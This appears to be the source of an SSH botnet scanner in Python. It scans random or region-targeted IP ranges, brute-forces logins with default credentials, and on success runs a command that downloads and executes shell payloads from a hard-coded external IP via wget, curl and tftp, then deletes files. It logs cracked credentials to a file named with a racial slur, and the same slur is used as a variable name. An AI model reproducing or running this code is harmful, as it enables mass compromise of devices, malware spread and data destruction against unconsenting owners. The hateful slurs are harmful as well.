Path: blob/master/Botnets/Scanning/AUTOSCANNER/Bot.py
5038 views
#!/usr/bin/env python1import threading, paramiko, random, socket, time, sys23paramiko.util.log_to_file("/dev/null")45blacklist = [6'127'7]89passwords = [10"admin:admin"11]1213if sys.argv[4] == '1':14passwords = ["root:root"]15if sys.argv[4] == '2':16passwords = ["guest:guest"]17if sys.argv[4] == '3':18passwords = ["admin:1234"]19if sys.argv[4] == '4':20passwords = ["telnet:telnet"]2122print "\x1b[0;31mScanner Started...\x1b[0m"2324ipclassinfo = sys.argv[2]25if ipclassinfo == "A":26ip1 = sys.argv[3]27elif ipclassinfo == "B":28ip1 = sys.argv[3].split(".")[0]29ip2 = sys.argv[3].split(".")[1]30elif ipclassinfo == "C":31ips = sys.argv[3].split(".")32num=033for ip in ips:34num=num+135if num == 1:36ip1 = ip37elif num == 2:38ip2 = ip39elif num == 3:40ip3 = ip41class sshscanner(threading.Thread):42global passwords43global ipclassinfo44if ipclassinfo == "A":45global ip146elif ipclassinfo == "B":47global ip148global ip249elif ipclassinfo == "C":50global ip151global ip252global ip353def run(self):54while 1:55try:56while 1:57thisipisbad='no'58if ipclassinfo == "A":59self.host = ip1+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))60elif ipclassinfo == "B":61self.host = ip1+'.'+ip2+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))62elif ipclassinfo == "C":63self.host = ip1+'.'+ip2+'.'+ip3+'.'+str(random.randrange(0,256))64elif ipclassinfo == "BRAZIL":65br = ["179.105","179.152","189.29","189.32","189.33","189.34","189.35","189.39","189.4","189.54","189.55","189.60","189.61","189.62","189.63","189.126"]66self.host = random.choice(br)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))67elif ipclassinfo == "ER":68yeet = ["122","131","161","37","186","187","31","188","201","2","200"]69self.host = random.choice(yeet)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))70elif ipclassinfo == "LUCKY":71lucky = ["125.27","101.109","113.53","118.173","122.170","122.180","101.108","1.20","125.25","125.26","182.52","125.24"]72self.host = random.choice(lucky)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))73elif ipclassinfo == "LUCKY2":74lucky2 = [ "122.3","122.52","122.54","119.93","124.105","124.105" ]75self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))76elif ipclassinfo == "LUCKY3":77lucky2 = [ "103.20","103.30","103.47","103.57","113.173","58.69","112.201","119.94","210.213","112.203" ]78self.host = random.choice(lucky2)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))79elif ipclassinfo == "RAND":80self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))81elif ipclassinfo == "INTERNET":82lol = ["1"]83self.host = random.choice(lol)+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))84else:85self.host = str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))+'.'+str(random.randrange(0,256))86for badip in blacklist:87if badip in self.host:88thisipisbad='yes'89if thisipisbad=='no':90break91username='root'92password=""93port = 2294s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)95s.settimeout(3)96s.connect((self.host, port))97s.close()98ssh = paramiko.SSHClient()99ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())100dobreak=False101for passwd in passwords:102if ":n/a" in passwd:103password=""104else:105password=passwd.split(":")[1]106if "n/a:" in passwd:107username=""108else:109username=passwd.split(":")[0]110try:111ssh.connect(self.host, port = port, username=username, password=password, timeout=3)112dobreak=True113break114except:115pass116if True == dobreak:117break118badserver=True119stdin, stdout, stderr = ssh.exec_command("/sbin/ifconfig")120output = stdout.read()121if "inet addr" in output:122badserver=False123if badserver == False:124print 'Slaughts Gang '+self.host+'|'+username+'|'+password+'|'+str(port)125ssh.exec_command("cd /tmp; wget http://65.60.18.108/bins.sh || curl -O http://65.60.18.108/bins.sh; chmod 777 bins.sh; sh bins.sh; busybox tftp 65.60.18.108 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh; busybox tftp -r tftp2.sh -g 65.60.18.108; chmod 777 tftp2.sh; sh tftp2.sh; rm -rf bins.sh tftp1.sh tftp2.sh; rm -rf *; exit")126nigger = open("niggers.txt", "a").write(username + ":" + password + ":" + self.host + "\n")127time.sleep(15)128ssh.close()129except:130pass131132for x in range(0,1500):133try:134t = sshscanner()135t.start()136except:137pass138139